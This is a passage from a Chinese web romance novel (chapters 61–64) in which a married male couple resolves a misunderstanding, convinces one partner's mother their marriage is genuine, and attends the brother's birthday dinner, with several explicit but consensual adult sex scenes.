不知道为什么,他总觉得余闻嘉的情绪还落在底下。到底是怎么了?他没有头绪。 池镜去洗澡前,余闻嘉先泡了杯蜂蜜水让他喝掉。他没拿衣服去洗了澡,穿着浴袍从浴室出来的时候,没在客厅看见余闻嘉。 书房的灯开着,池镜走过去看了眼。 余闻嘉坐在桌前,鼻梁上架了副黑框眼镜,桌上放着他的笔电,他敲着键盘在打字。 他没注意到池镜在门口,池镜出了个声:“在写论文?” 余闻嘉抬了下头,“嗯”了声:“赶下进度。” 余闻嘉赶论文不分时候,池镜洗澡的间隙,赶个论文没什么奇怪的。 池镜朝浴室方向偏了偏头,“去洗澡吧。” 余闻嘉摘下眼镜站起来,没把电脑合上,这意味着等会儿他还得继续写。 池镜没吹头,余闻嘉走到他旁边勾了一下他头发,“头发也不吹干。” 池镜抬眸看了他一眼:“你给我吹。” “嗯。”余闻嘉拉着他往浴室走。 池镜头发吹干后回了卧室,靠坐在飘窗上看了会儿书。等他回过神时,已经过去半小时了,余闻嘉还没进屋。 他放下书,打开房门走去客厅看了看,客厅没人,书房的门开着,灯也依旧亮着。 池镜盯着书房门口看了一会儿,随后转身回了房间。 他关上门,坐回飘窗上继续看书。 没过十分钟,余闻嘉放在书桌上的手机响了,是池镜打来的电话。 余闻嘉愣了下,拿起手机划了下屏幕。 电话那头池镜的声音有点沉,声线清清冷冷的:“过来。” 60-68 第61章 第 61 章 你可以完完全全地拥有我…… 61 余闻嘉进卧室的时候, 池镜还穿着浴袍靠坐在飘窗上看书,听到开门声,他抬头看了一眼。 余闻嘉站在门口, 池镜手指按在书页上,头朝旁边偏了偏, 示意余闻嘉:“坐这儿来。” 余闻嘉走过去在他旁边坐下, 身子微侧着朝向池镜这边。 “打扰到你赶论文没?”池镜合上书放在一边, 问他。 “没有。” 池镜点了点头:“那聊聊。” 余闻嘉看着他。 “你怎么了?”池镜看着他。 余闻嘉没说话,他可以遮掩自己的情绪,但他没办法跟池镜说谎。 “别不说话。”池镜说, “也别说没怎么。你情绪有点低,我感觉得出来。到底怎么了?还是因为刚才那件事吗?因为他说的那些话?” “没有。”余闻嘉移开视线,不看池镜,“不是。” “那你冷着我干什么——” “没冷着你。”余闻嘉视线立马看向他,微微皱了下眉, “我怎么可能……” “你从回来到现在,一直都有点别扭,我不知道是不是庄楚说的那些话让你心里堵着了,不舒服了……你说你没有多想, 可你现在不像是没有多想的样子。”池镜看着他的眼睛, “能不能跟我说说为什么会在意他说的那些话, 你在意的点是什么?是觉得我们发展到现在一直都是你单方面在推动,如果换个人推着我走,我也能跟对方走到这一步是吗?” 必须要对症下药,池镜才能把余闻嘉心里堵着的地方给疏通。 他得问明白余闻嘉介意的点。 “你觉得你是可替代的?”池镜注视着他,目光温柔又坚定,“你不可替代, 闻嘉。” “我知道。”余闻嘉握住了他的手,攥得很紧,“我没在意他说的那些话。你怎么看我、看我们这段关系的,我心里都清楚,你用不着一直这么哄我。” “不是哄你。都是心里话,必须要跟你说透说开。” “你说你不在意,那你到底为什么不高兴?”池镜知道他俩还没聊到点上。 “没不高兴。”余闻嘉不带表情地说。 池镜沉默地凝视着他,几秒后,手从他手里抽了出来。 “刚跟你说了,你情绪低我看得出来,所以你别跟我说‘没怎么’‘没不高兴’。你别跟以前那样,有什么情绪总压在心里,你自己不舒服,我也不舒服。你刚才冷着我,我就很不舒服。”池镜站了起来,垂眸看着他,声音也冷了下来,“有情绪就输出,有话就说开,我都主动问你了你还闷着,你觉得该这样吗。” 余闻嘉仰起头,拉了一下他的手。 池镜没让他拉到,抬了下手,躲开了:“你这样让我有点生气,闻嘉。” 余闻嘉抬起胳膊一把揽住他的腰,把他往自己身前一搂,坐在那儿抱着他的腰,脸贴在他小腹上。 “别生气。”他闭上眼睛,鼻尖在池镜的浴袍上蹭了蹭。 池镜垂眼看着他:“来来回回问你多少次了,你就是不说,应该吗?” “不应该。” 池镜摸了摸他的脑袋,语气软了下来:“到底不高兴什么呢,你又说你不在意,那还能是怎么呢?” “我不在意。”余闻嘉声音低了下去,“我只是在生自己的气。” 池镜眨了下眼睛,低头看着他,反应不太能跟得上他的话:“生自己的气?生什么气?” 其实在今天遇到庄楚之前,余闻嘉一直都不知道庄楚对池镜有那方面的心思。他当初撞见庄楚跟池镜谈形婚,那时候是真以为对方就是单纯地想跟池镜形式上结个婚,解决两人各自的问题。 所以他当时并不是怕池镜被抢走,只是不能接受池镜跟别人形婚。 想到庄楚也喜欢池镜,想到自己是因为他才向池镜迈出的那一步,余闻嘉不可能不生自己的气。 池镜当初差点真的就被“抢走”了。 余闻嘉闭着眼,眉头轻拧着:“我其实到今天才反应过来那个人也喜欢你,我一想到我是因为被他激着才朝你迈出了那一步,心里就很堵。我还让他跨在我前头……” 余闻嘉讲着讲着嗓音就沉了下去:“我就想我之前那么多年到底在干什么,为什么那么畏手畏脚,为什么一直站在原地没动。我生自己气,心里头有点较劲,情绪怎么也提不起来。” 池镜恍然:“你……” 余闻嘉搂在池镜腰上的手微微收紧,闷声道:“我情绪是不太好,但又缓不过来。我不想自己的坏情绪影响到你,就想先一个人待着缓会儿,找点事干,转移下注意力。不是冷着你,我不可能冷着你。可能方式用错了,我这方面……有点钝,不太聪明。对不起镜哥,别生我气。” 池镜哪还可能生气,心都软得一塌糊涂了。 他怎么也没想到余闻嘉情绪不高是因为这个。 池镜捧住他的脸,弯下腰来在他头发上亲了亲:“刚才我说话重了,不该凶你。” “是我的问题。” 余闻嘉的眉心一直没有舒展开,池镜轻轻捏着他的耳垂,说:“别较劲,跟自己生什么气呢。我问你,如果当初我没跟你说我不想结婚,你还会一直站在原地吗?” 余闻嘉不假思索:“不会。” 池镜笑了声:“那不就是了。你跨的那一步跟他没有关系,换成任何一个人挡在你面前,你都会往前跨一步不是吗?” 余闻嘉“嗯”了声:“是。” “我知道,你以前一直站在原地没动,是因为太怕失去我了。”池镜问他,“是不是,闻嘉?” 余闻嘉搂紧了他的腰,沉默地点了点头。 池镜拉开他的胳膊,从他怀里退出去,随后按着他肩膀跨坐在了他身上。余闻嘉下意识扶住了他的腰,两人面对面叠坐在一起。 池镜低下头,鼻尖抵着余闻嘉的鼻尖,低声道:“你以后都不会失去我,你可以完完全全地拥有我。” 余闻嘉仰头吻住他的嘴唇,手从腰侧缓缓移至腰后,摁着他的腰让他紧紧贴着自己的身体。池镜身上还穿着浴袍,跨坐的姿势让他两条腿都光着暴露在空气中。余闻嘉吻着他,情不自禁地做出向上的动作,一下又一下。池镜被他摁在身前,随着他的动作也向上动着,身体轻抖。隔着层布料,两人模拟相交。这是都想要了。 “要吗?”池镜在他鼻尖上轻轻咬了一下,“你今天就可以彻底拥有我。” 余闻嘉的呼吸声很重,他沉默地解开池镜的腰带,剥掉他身上松松垮垮的浴袍。 “看来今天不用我引导着来了。”池镜嘴里溢出轻笑,余闻嘉侧过头,舌尖抵进了他耳朵里。池镜浑身一抖,缩着脖子往旁边躲。余闻嘉掌心扣住他的颈侧不让他躲,拇指指腹摁在他的喉结上,轻轻摩挲着。耳朵是池镜的敏感部位,余闻嘉也最喜欢碰他这里。平时顶多就是在耳垂上亲亲咬咬,今天玩得有点过头,直接让池镜说不出话来。 池镜嘴唇微张轻轻喘气,一只耳朵红得滴血,半侧身子已经麻了。有过几次亲密接触,余闻嘉已经对他的身体足够了解。他瘫软地靠在余闻嘉身上,余闻嘉托着他两条腿把他抱起来,抱着他坐到了床边。他们仍然保持刚才的姿势,只是换了个位置。余闻嘉边吻池镜边拉开床头柜抽屉,从里面拿出了等会儿要用的东西。他们从床上辗转到飘窗,后来又滚到了地板上,在房间的各处都留下了痕迹。 池镜不是扭捏的性子,在床上也很放得开,纵着余闻嘉,任凭他想做什么做什么。余闻嘉今天也没再克制,后来都有点不管不顾。一切平息过后,池镜连睁眼的力气都没有了。 余闻嘉抱着他去浴室清洗,两人一前一后靠坐在浴缸里。池镜两条腿站不稳,没办法淋浴,只能躺浴缸里洗。 池镜头朝后,仰靠在余闻嘉肩头,余闻嘉侧过头吻了吻他,问他:“疼不疼?” 池镜闻言睁开眼睛,扯着嘴角轻轻一笑,嗓子哑得不行:“疼还能让你弄那么久?” 其实还是有点疼,不过也就是刚开始的时候比较难捱,后面就渐渐被快乐代替了。余闻嘉在床上跟他平时反差太大,这让池镜着实没想到。压着他直接在地板上来,这就不像是余闻嘉的性格能干出来的事。 “久吗。” “你还想要多久?”池镜失笑,“再过俩小时天都要亮了。” 余闻嘉摸了摸他的胸口,这里有被他弄出来的痕迹,“刚才看你快晕了才停的。下次会比这次久。” 池镜闭上眼,没说什么,只是无声地笑。 “不能接受?”余闻嘉问他。 “能。随你多久。”池镜侧过头,在他颈侧轻轻一吻,“我说了,你完完全全地拥有我。你可以对我予取予求。” 第62章 第 62 章 我从以前就只想跟镜哥结…… 62 卧室一片乱糟糟, 没法睡人,太晚了,余闻嘉没去收拾, 洗完澡直接抱着池镜去了客房。池镜不能平躺,腰部以下多少有点不适感, 腰也很酸。他趴在床上, 余闻嘉拿了个薄薄的靠枕放他胸口底下, 坐他旁边帮他上药。池镜腰侧泛着淡淡的青,是余闻嘉刚才掐出来的指痕。 余闻嘉用指腹在那处蹭了蹭,池镜缩了下腰, 闭眼笑着:“别碰。痒。” “刚才碰的时候怎么不痒?” “刚才注意力不在这。” “青了。”余闻嘉说。 “你也知道啊。”池镜撩起眼皮,侧过头看了他一眼,“平时没白健身,劲儿够大的。” 除了脖子,池镜身上各处几乎都有他留下的痕迹。背上肩胛骨处也是红的, 刚才被余闻嘉摁在地板上磨的。也不怪余闻嘉刚才太凶,都是池镜自己纵出来的,任凭摆弄。余闻嘉刚开始其实挺小心谨慎的,很克制, 收着劲, 总时不时问他难不难受。那会儿池镜疼劲早过了, 他勾住余闻嘉的脖子,嘴唇贴在他耳边,呼吸热而急促,跟他说,你想怎么来就怎么来。他轻轻一笑,话音断断续续的, 几乎是用气音在说:我们闻嘉还是太绅士了。 之后余闻嘉就没那么绅士了。 余闻嘉被他惯得没个节制,后面就像变了个人似的。 上好药,余闻嘉在池镜旁边睡下来,他搂了下池镜,把人翻过来朝着自己。他低下头,把脸埋在池镜的颈窝,嗅他身上的气味。 池镜托着他下巴让他抬起脸,“以后心里再有事就直接跟我说,不许闷着,不许一个人生闷气。咱俩之间以后要是有矛盾了,也及时说开,不要用这种独自冷静的方式解决问题,我不喜欢这样。知道吗?” 余闻嘉点了点头:“知道了。” “下次再这样冷着我,”池镜捏了捏他的脸,“我可就没这么好说话了。” “下次直接骂我。” 池镜笑了声:“那我不一定舍得。” 池镜被折腾得太久,闭上眼没一会儿意识就有点恍惚了,他半睡半醒的还没彻底睡着,余闻嘉低着头唇齿在他锁骨上轻轻厮磨,舌尖一路向下滑,滑到胸膛。自从刚才有过更亲密的接触,余闻嘉已经知道了他另一个敏感处。确实很敏感,余闻嘉刚碰到那里他就轻哼了声,迷迷糊糊地睁开眼。他没穿衣服,余闻嘉舌头在那处打转,池镜哪经得住他这么撩扯,背不禁弓起来,失笑着推了一下他的肩,“还玩呢,不睡了?” 余闻嘉叼着那处轻轻咬了一下,池镜眼睛一闭,“嘶”了声,气息都不稳了,皱着眉叫“闻嘉”。余闻嘉“嗯”了声,舌尖抵在那儿,安抚般地舔了舔。池镜身子抖得更厉害,背也弓得更弯。他垂下眼,哑声问:“还想玩儿?” “不玩了。”余闻嘉脑袋从被子底下出来,搂住了他。 “怎么不玩了呢。”池镜笑着问。 余闻嘉在他耳朵上亲了亲:“镜哥要睡觉了。” 两人搂着睡了一上午,中午才醒。 池镜睡得很沉,余闻嘉比他先醒,听到床头池镜的手机“嗡嗡”震个不停。余闻嘉拿过手机看了眼,来电显示“仇亦”。 仇亦之前参加过他们的婚礼,当时池镜跟余闻嘉介绍过他。 手机一直在震,仇亦是池镜朋友,来电想来不是工作上的事,今天又是周末,应该也不是要紧事,余闻嘉怕吵着池镜,拿上手机去了外面,关上房门接通了电话。 “今天有空吗池处?去打球?” “他还在睡觉。”余闻嘉边说边往卫生间走。 电话那头的仇亦一愣,随即笑了:“行,知道了。” 两人拢共说了三句话,就结束了通话。 余闻嘉洗漱完去把卧室收拾了一下,然后订了个餐。他回客房的时候,池镜已经醒了,赖在床上不想起来。 余闻嘉把池镜的手机放床头柜上,说:“刚有人打你电话,我接了。” 池镜侧着身子躺在床上,被子挡在脸上,没睁眼:“谁的电话?” “仇亦。找你打球,我说你在睡觉。” 池镜“嗯”了声,脸埋在枕头里,拖长调子哼哼了两声。一到休息日他就赖床,还有点起床气。 “还要睡?”余闻嘉弯下腰问他。 池镜懒懒道:“不想起。” “那你继续睡。睡够了起来吃饭。” “那要睡到吃晚饭了……”池镜的声音闷在枕头里,他睁开眼,“算了,不睡了。” “起得来?”余闻嘉隔着被子在他屁股上摸了摸。 “起不来。”池镜从被子里伸出胳膊,“抱我。” 池镜搂着余闻嘉的脖子挂在他身上,余闻嘉托着他两条腿,把他抱去卫生间洗漱。 池镜两条腿还有点打晃,余闻嘉贴在他身后扶着他的腰,两人一前一后地站在水池台前。 “后面有没有不舒服?”余闻嘉问他。 “不太好描述的感觉,”池镜刷着牙,头后仰靠在他肩上,“说不上不舒服。” 吃饭的时候,池镜给仇亦回了通电话过去。 “醒了啊?”仇亦问。 “醒了。” 池镜嗓音有些沙哑,仇亦语气里带着不太明显的笑意:“这个点才醒……下午去打球吗?” “不打。”池镜现在的状态做不了剧烈运动。 “怎么呢,没空啊?要陪家属?” 池镜看了对面的余闻嘉一眼,说:“啊。” 仇亦笑了笑:“糊涂账理清了?” “理清了。” “挺好。”仇亦顿了片刻,忽然含笑着问了句:“你俩做了?” 池镜正端着杯子在喝水,闻言差点呛着,偏过头咳了好几声:“倒也不用这么直白。” 仇亦笑出声来:“这么直白才好玩呢,看给我们池处吓的。” 这个点才起,嗓子那么哑,打不了球要陪家属,想也知道池处昨晚跟家属干嘛了。 池镜笑着没说话。 “那再约吧。”仇亦笑着说,“池处好好休息,好好陪家属。” “行,再约。” 池镜挂了电话,余闻嘉问他:“说什么了?那么大反应。” 池镜把手机放桌上,摇着头笑笑:“两通电话就把咱俩私生活给曝光了。这人脑子转得太快。” 两个人下午没做什么,躺客厅沙发上看了部三个多小时的长电影。余闻嘉坐在沙发一边,放了个靠枕在自己腿上,不用他示意,池镜就坐过去侧过身子躺了下来,头枕在他腿上。 他腰疼,余闻嘉帮他轻轻揉着。 晚饭两个人是在外面吃的,池镜订了家风格挺小资的餐厅。吃到中途,池镜接到了他妈的电话,问他俩吃了没有,池镜说正吃着。 “那我就不给你们带饭了。”他妈说做了几罐头配粥的小菜,一会儿给他们送来。 池镜说:“您别跑一趟了,一会儿吃完饭了我开车过去拿。” “不用你拿,我去你那儿又不远。行了,你吃你的吧,我过去了。” 家里没人,池母直接输密码进屋,她把小菜放冰箱里,然后习惯性地帮池镜收拾起屋子来。其实也没什么可收拾的,余闻嘉把家里打扫得很干净。她稍微收拾了下,去阳台把干衣服收了,叠好拿去卧室。 余闻嘉之前一直睡在客房,客房有衣柜,他的衣服都在客房衣柜里,跟池镜睡一间屋后,也没把衣服搬去主卧,还一直放在客房。 池母一打开衣柜就觉得不对劲。池镜平日穿衬衫居多,这衣柜里也几乎都是衬衫,好像就没有余闻嘉的衣服。 池母站在衣柜前,眉头微微皱了起来。 本来当初池镜和余闻嘉结婚她就心存疑虑,一看到衣柜里只有他的衣服顿时有点敏感,她立马走去客房打开衣柜看了一眼。 池镜和余闻嘉没多久就回来了,到家的时候池母还没走,她一个人在客厅沙发上坐着,倒是没想到俩孩子会这么快回来。她还没缓过来呢,这俩回来的不是时候。 池镜走进客厅,看到他妈坐在单人沙发上,抬头看他一眼,脸上没什么表情,也不出声。 “怎么了这是?”池镜很少见他妈板着张脸。 池母目光在他跟余闻嘉之间扫了扫,指指沙发:“你俩坐这儿。” 最开始这俩孩子突然说要结婚,她就担心池镜是为了他姥姥,池镜当时再三强调他不拿这事胡闹,她才相信他和闻嘉是真有感情才结的婚。 现在看来,她一开始就没猜错。 结都结了,她本来想着事已至此就随它去吧,结果一看见俩孩子回来这急脾气又没收住,不说不痛快。 池镜和余闻嘉坐在了沙发上,转头看了彼此一眼。 池母先是看着池镜:“你当初跟我说什么来着?说你不会拿结婚的事胡闹?” 池镜张了张嘴,还没开口,池母又说:“我那时候有没有跟你强调,别为了给你姥个交代就随便结婚,你还说不可能在这事上牵扯闻嘉……”说着她看了眼余闻嘉,眉头紧皱,“你们简直是胡闹……” 余闻嘉先开了口:“妈,我们不是胡闹。” “不是胡闹?”池母反问,“那你俩怎么分开睡?你衣服怎么都在客房?闻嘉,你……哎,你想什么呢,你跟小镜结这个婚……你将来不结婚了?” “我就是想跟他结婚。”余闻嘉说。 池母愣了一下。 池镜知道现在不用解释那么多,甚至没必要承认当初是为了姥姥才结的这个婚,眼下只要让他妈知道他俩之间有感情就行,这是最有力的解释。 “没分开睡。”池镜说,“您多想了——” “我还多想?”池母看向他,心里还有点气,气当时池镜没跟自己说实话,“我跟你讲,你甭想再蒙我。” “那您想怎么着啊,”池镜失笑,“让我跟闻嘉离婚?然后再让他去找自己的真爱?” 池母眼睛一瞪:“你还跟我嬉皮笑脸说这话……” “我俩真真的,真的。”池镜看着她,表情认真,“没蒙您。” 池母皱着眉,显然还是不相信他说的话。 池镜笑道:“您就不相信我俩互相喜欢呗。那怎么着,要不我俩当面亲一个给您看?” 池母看他的眼神有点变了,蹙眉沉默几秒,开口道:“你俩……” 池镜还没说什么,旁边余闻嘉突然转过头在他脸上亲了一口。 池镜和他妈皆是一愣,他转头看了余闻嘉一眼,被这一下搞懵了。 余闻嘉直愣愣地凑过来亲他,直愣愣地跟他妈说:“妈,我俩真是真的。我想跟镜哥结婚很久了,我从以前就只想跟他结婚。” 第63章 第 63 章 我们闻嘉从小就想跟我结…… 63 余闻嘉也不是第一次这样打直球了, 之前跟家长宣布要跟池镜结婚也是这样直白干脆,非常耿直。 他亲池镜的这一下让池镜想起了去年生日那天他的“求婚”,也是这样来得毫无征兆, 猝不及防。 池镜看着他忍不住笑了声:“今天也没喝酒啊。” “你……”池母还有点懵,余闻嘉亲的这一下, 还有他说的这些话, 都是很有力的解释了, 池镜下意识的反应也不会骗人,他俩之间要是没感情池镜不可能是这个反应,“你俩……” “我俩感情很好, ”池镜握住了余闻嘉的手,捏捏他的手指,“您真的别多想了。您看我们闻嘉像离得开我的样子吗?从小就想跟我结婚。” 池母闻言立马斜他一眼,脸上已经显露出不太明显的笑意:“混不正经的,跟你弟一个样儿。” “我说的可都是正经话。” 池母盯着他俩看了几秒, 说:“你俩好就行。” 看他俩这样黏黏糊糊,池母也没什么可愁的了,本来这事她没打算管,想着自己消化消化得了, 就是还没消化完这俩孩子就回来了, 她又是个急脾气, 话到嘴边忍不回去。 旁的她也没再多问,都不重要,俩孩子一切幸福最重要。 池母没多待,池镜打算开车送她回去,她说不用。她就不是个爱麻烦孩子的家长,池镜这儿离地铁口近, 她坐地铁回去很方便。 “坐车不是更方便。”池镜说。 “说了不用你送。”池母在门口换鞋,“陪你们闻嘉吧,啊。” 她说的时候特意加重了“你们”这两个字,池镜听笑了:“您这话说的,我怎么听着阴阳怪气的。” 池母打趣道:“哎哟,你们闻嘉不是离不开你么。”说着她看了眼池镜身后的余闻嘉,“是这样吧闻嘉?” 余闻嘉眼里有淡淡的笑意,他点头道:“是这样。” 池镜笑了一会儿才说:“妈,有件事还是得跟您说一下。” “说。” “我现在是已婚人士了对吧。” 池母似乎知道池镜要说什么了,摆了下手说:“没考虑到你们的隐私问题是我的不对,接受批评,以后不进你俩房间了。” 池镜和余闻嘉结婚后,他妈其实很少来这儿,像这种家里没人的情况下过来几乎是没有。她之前一直习惯了替池镜收拾屋子,今天也是习惯性地收衣服放衣柜,一时间也没考虑到他已经结婚了,再这么做有点不合适。 “谁说批评您了,”池镜失笑,“就提醒一下。” 池母“哎”了声:“收拾惯了。刚才也没想那么多。” “知道。”池镜走过去揽住她的肩搂了一下,“辛苦妈妈了。” 池母笑了下,拍拍他的胳膊:“你俩好好的就行。” 池母关门走后,余闻嘉走过来从后面搂住了池镜。 池镜侧过头,脸贴到了他颈侧,笑着问:“刚才怎么就那么亲过来了?你这直球是走哪儿打哪儿啊。” “没想那么多。”余闻嘉当时确实没想那么多,他在感情方面就是有点直愣愣的,有时候直接到还冒着点憨劲儿,“你不是要亲一个么,我听你的指令。” 池镜笑了:“我什么时候给你下指令了?” “就是下了。”余闻嘉拿鼻尖顶他的脸蛋,“亲的不好吗?都不用你跟妈解释什么了。” “倒是不害臊。”池镜说。 “从来不害臊。”余闻嘉说。 池镜嗤笑一声,转过头捏了捏他的脸:“你可拉倒。当我没见过你害臊的样子呢。” 余闻嘉又搂住他,把他抱在怀里:“别就光记着我刚才亲你,我说的话你也当回事。” “当回事了。”池镜也抱住他,“我们闻嘉从小就想跟我结婚,我知道。” “你知道就好。” 池明这周五生日,他是个爱玩的,生日不在家里过,订了个地方叫了一帮朋友吃饭。这两天池镜在外地开会,池明生日这天他还在外面没回来。 他一大早给池明发了个生日红包,池明秒收,回消息问:今天回不回来? 池镜:回,估计会晚。 池明:早回了就早点来。 池明发了个定位给他。 余闻嘉的生日也快到了,他和池明的生日挨得很近,就隔了两个礼拜。 余闻嘉今天不加班,下班的时候池明开车来医院接他,一起去吃饭的地方。 池明车里还坐着个人,沈静司,他们公司大老板。余闻嘉跟他认识,不算很熟,上车后两人互相打了个招呼。 沈静司坐在后座,余闻嘉便上了副驾。 余闻嘉把给池明准备的礼物扔在了后座,池明笑着回头看了眼:“送的什么?” “自己拆了看。” “沈总帮我拆了。”池明说。 沈静司正看笔电,头都没抬:“自己拆。” “我现在也拆不了啊,开车呢。”池明看着后视镜,“你给我拆了,速度,沈总。” “别人送你的礼物,让我拆合适吗?” “有什么不合适的,我们余博士才不care这个。” 不给他拆他能念一路,沈静司帮他拆了包装袋。余闻嘉送的是一盒高达模型,这礼物池明很满意,这一款他还没有。 “我哥呢,联系你没?”池明转头问余闻嘉,“他不回我消息。” 余闻嘉摇头,低头拿着手机给池镜发消息:什么时候回来? 池镜在忙,没回消息。 池明请了两桌人,余闻嘉跟他坐一桌,他旁边的位置空着,是给池镜留的。 余闻嘉五点半给池镜发的消息,池镜半小时后回的消息:刚去机场。 余闻嘉:几点到?我去机场接你。 池镜:不用接。落地时间还不定呢。 池镜:池明那边开始没? 余闻嘉:开始了。 池镜:那你好好吃你的。 这一桌就余闻嘉旁边空着,有人问池明:“还有谁没来啊?这位子空着。” 池明说:“我哥。” 他一圈人介绍过去,介绍到余闻嘉不说是朋友,也不说是同学,说:“这是我哥夫。” 他还不知道他哥跟他哥夫真的好上了,就是爱明里暗里地助攻。 余闻嘉平时滴酒不沾,酒量极差,今天桌上有道菜,红酒烩牛肉,他一开始没吃出酒味来,后来多吃了两口就晕了,撑着脑袋坐在那儿缓劲。 “怎么了你?”池明凑过来问他。 余闻嘉垂着头,眼睛也闭着,“头晕。” “怎么还头晕了,”池明看看他的杯子,“你也没喝酒啊。” “菜里面有酒。”余闻嘉扶着桌沿站起来,想去趟洗手间。 余闻嘉什么酒量池明还是清楚的,他这样子一会儿就得趴下睡了。他起身搀住余闻嘉,“楼上有房间,你上去睡会儿。” 池明跟众人打了声招呼,把余闻嘉送上楼去睡觉。 池镜七点半落地,给余闻嘉打电话一直没人接,他就把电话打到了池明那里。 池明那边的饭局还没结束,他让池镜赶紧过来。 “闻嘉呢?”池镜问他,“打他电话怎么没人接。” “睡觉呢,吃了点红酒烩牛肉就晕了。” “他在哪睡觉?” “我这儿啊,楼上房间睡着呢。” 池镜打了辆车过去。 他是最后一个来的,进包厢的时候,屋里的人都朝他投来目光。 池明起身介绍:“我哥。” 池镜礼貌一笑,冲众人点头致意,随后走到池明旁边问:“他人呢?” “还在楼上睡着呢。” “哪个房间?带我过去。” 池明坐在那儿,抬眼看向他,眉梢微微挑起:“你不吃饭了?” “我要先看他。” 池明叫来服务员,让服务员领池镜上楼。这是个会所性质的酒店,楼上有供客人休息的房间。 池镜拿房卡刷开门,屋里没开灯,他放轻脚步走到床前弯腰看了眼。他没出声,但余闻嘉已经醒了,闭着眼他都知道床前站着的是池镜,他闻到他身上的味道了。 池镜转头刚准备走,下一秒就被床上的人一把攥住胳膊,拽到了床上。 池镜趴倒在余闻嘉身上,余闻嘉扣着他的后颈,嘴唇贴在他耳廓,鼻息温热,嗓音低哑:“不许走。” 第64章 第 64 章 不在家陪我。 64 “醒了?”池镜低声问。 余闻嘉闭着眼, 嘴唇蹭着他的耳垂:“没醒。” 池镜轻笑:“那你现在是在梦游?” 余闻嘉没说话,只是轻轻啄着池镜的耳朵。这个趴倒的姿势让池镜的重心几乎都压在他身上。池镜手撑了下床沿想起身,却被余闻嘉更用力地扣住了脖子:“说了不许走。” “不走。”池镜说, “先让我起来,这么趴着压你身上不嫌沉啊。” “之前做的时候你趴我身上还少了?”余闻嘉声音很低很沉, “我什么时候说过沉。” 池镜无声地笑着, 余闻嘉摁在他后颈的手越扣越紧。他侧过脸, 伸出舌头舔吻池镜的耳朵。池镜耳朵过电似的发麻,呼吸都乱了:“那你先让我去关个门,门还开着呢……” “不用管。”余闻嘉扣着他不放, 真跟喝多了似的,不管不顾的。 池镜失笑:“我们这样让人看到了你说像什么样子?” 余闻嘉暂且松开他,捏了捏他的后颈,说:“五秒钟,关完立刻回来。” 池镜过去把门关上, 随即回到了床边。 “五秒到没?”他弯下腰问余闻嘉。 余闻嘉一直没睁眼,伸手抓住了池镜的胳膊,这次不用他拽,池镜自觉躺上了床, 躺在他身边。 余闻嘉把头靠过来, 抵在他的颈窝, 鼻翼间喷洒着热气,身上倒是没有一点酒味。 “听说你吃个红酒烩牛肉就把自己吃醉了?”池镜摸着他的后脑勺,语气里带着点笑意,“真醉了啊?” 余闻嘉没出声,池镜笑道:“还真是宝宝级别的酒量——” 话音未落,余闻嘉就张嘴在他喉结上咬了一口, 池镜仰着脖子“嘶”了一声,哑声问:“真醉了?” 余闻嘉舔着他的喉结,舌尖勾着他的颈线一寸一寸向上,从脖颈舔到下巴,最后停在唇瓣之间,撬开双唇抵了进去。 两个人抱着吻了很久,吻完余闻嘉还是没松开池镜,侧过脸,舌头换了个地方,舔着他耳垂玩。 池镜不躲也不阻止,随他玩。 余闻嘉现在的粘人程度已经远超小时候,池镜在心底笑笑,心想真跟个狗狗似的。 池镜的手机响了起来,他摸了下口袋,手机拿出来看了眼。池明打来的电话,他点了下屏幕,手机举到耳边。 池明欠嗖嗖的,故意给他打的这通电话。 “你这看一眼看得是不是有点太久了?”池明端着杯子抿了口酒,嘴角噙着笑,“不下来了?” “等会儿。”池镜说。 “怎么要等会儿呢。”池明笑着问。 池镜张了下嘴,还没说话,手里的手机就被余闻嘉拿走了。余闻嘉把手机贴在耳边,说了句:“别烦。”随后就把电话挂了,手机往床头一扔,两条胳膊往池镜身上一圈,把他箍在身前。 “这么霸道呢。”池镜笑了声,“都敢随便替我挂电话了。” 余闻嘉睁开眼:“我头晕,要人陪。你不管我么?” “管。” “就要你陪着,”余闻嘉把脸抵在他肩窝,“谁叫都不许走。” “不走。”池镜笑着,身体贴紧了他。 余闻嘉倒不是非要把池镜留这儿不让他下去,他就是想跟池镜多单独待一会儿,包厢里都是人,不爱在那儿待着。池镜穿着衬衫,余闻嘉手在他小腹上摸了下,他没吃饭,小腹有点往下凹。 余闻嘉也就霸道那么一会儿,他松开池镜说:“下去吃饭吧。” 池镜眨了下眼睛:“不是不让我走吗。” “我跟你一起下去。” “头不晕了?” 余闻嘉抱着他坐起来:“不说头晕怎么跟你装可怜。” 池镜捧着他的脸晃了晃:“怎么就这么可爱。” 两个人下去的时候,饭局还没结束,包厢里的人正聊着起劲。他们进来的时候,屋里的聊天声明显低了下来。池明抬头看见他俩,眉梢微微挑起。 两人一同入座,池明扭头看向他俩,眼神意味不明:“这么快就下来了,不应该啊。” 池镜看他一眼:“吃你的。” 池明眯了眯眼睛:“你俩好了?” 池镜拿一次性湿毛巾擦着手,“我俩什么时候不好?” 一切尽在不言中,池明笑着点点头,手背在余闻嘉胸口拍了拍:“可算是好了。” 池镜刚才直接从机场赶过来的,行李箱寄存在酒店大厅,他和余闻嘉都没开车,两个人打了辆车回去。 池镜推着行李箱进了卧室,拉开箱子拉链刚准备归置东西,余闻嘉就走过来推着箱杆把箱子往旁边轻轻一推。他从身后扶着池镜的腰,在他腰侧轻轻掐了掐,说:“去洗澡。” 池镜侧过头来,余闻嘉顺势在他唇上一吻。 池镜抬起胳膊,反手搂住他的脖子,轻笑着低声问:“收拾完再洗不行么。” “不行。”余闻嘉说,“我给你收拾,你去洗澡。” 池镜知道他是想要了,想逗逗他,揣着明白装糊涂:“我自己能收拾。” 余闻嘉掐了一下他的腰,压低了声音:“要我说几遍……我让你去洗澡。” 池镜垂眼笑着,不言语。 “闻嘉想要了。”池镜轻轻揉着他的耳朵,“是不是?” 余闻嘉说:“是。” “别等我洗完澡了,直接来吧。反正一会儿还得再洗,费事儿。” 余闻嘉没出声,池镜回了下头:“嗯?” 余闻嘉“嗯”了一声,手伸过去解他的皮带。他们甚至没有去床上,池镜被余闻嘉推到了飘窗那儿,他弯着腰两只手撑在飘窗上,西裤已经褪去,只穿了件衬衫。余闻嘉扶着他的胯,从身后压过来。 余闻嘉精力确实足,折腾了半宿,早上八点还是准时醒了。他掀被下床的时候,池镜迷迷糊糊地听到窸窣声响,微微睁开了眼睛。 余闻嘉走到衣柜前换衣服,池镜睡眼惺忪地看着他:“你今天不是休息吗?” “我去健身房。” 池镜闭上眼,笑了:“我觉得你可以去参加铁人三项了。” 外科医生体力必须好,不然怎么吃得消连续做十几个小时的手术。 